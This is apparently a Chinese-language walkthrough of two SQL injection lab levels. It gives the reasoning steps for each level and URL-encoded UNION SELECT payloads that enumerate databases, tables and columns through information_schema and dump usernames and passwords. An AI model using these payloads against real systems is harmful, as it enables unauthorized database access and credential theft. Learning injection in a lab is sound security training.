关卡1
思路:
- 提示get传参id
- 尝试id=1,正确返回用户名密码,尝试id=a,无回显,确认为字符型
- 尝试id=1'--+,正常回显,可自主闭合
- id=1' order by 4--+ 不可以,order by 3可以,确认行数
- 只回显示2个,根据id=-1'union select 1,2,3--+确认2,3位置返回
- 根据information_schema库下逐层,查库,查表,查字段
攻击代码:
查库
?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查表
id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"--+
查字段
?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema="security"and%20table_name="users"--+
根据字段获取数据
?id=-1%27%20union%20select%201,password,username%20from%20users%20where%20id=3--+
查所有密码
?id=-1%27union%20select%201,2,group_concat(password)%20from%20users--+
关卡2:
思路:
- 提示get传参id
- 尝试id=1,正确返回用户名密码,尝试id=a,无此列,确认为数字型
- 尝试id=1--+,正常回显,可自主闭合
- id=1 order by 4--+ 不可以,order by 3可以,确认行数
- 只回显示2个,根据id=-1union select 1,2,3--+确认2,3位置返回
- 根据information_schema库下逐层,查库,查表,查字段
攻击代码:
查库
=-1%20union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查表
id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"--+
查字段
?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema="security"and%20table_name="users"--+
根据字段获取数据
?id=-1%20union%20select%201,password,username%20from%20users%20where%20id=3--+
查所有密码
?id=-1%20union%20select%201,2,group_concat(password)%20from%20users--+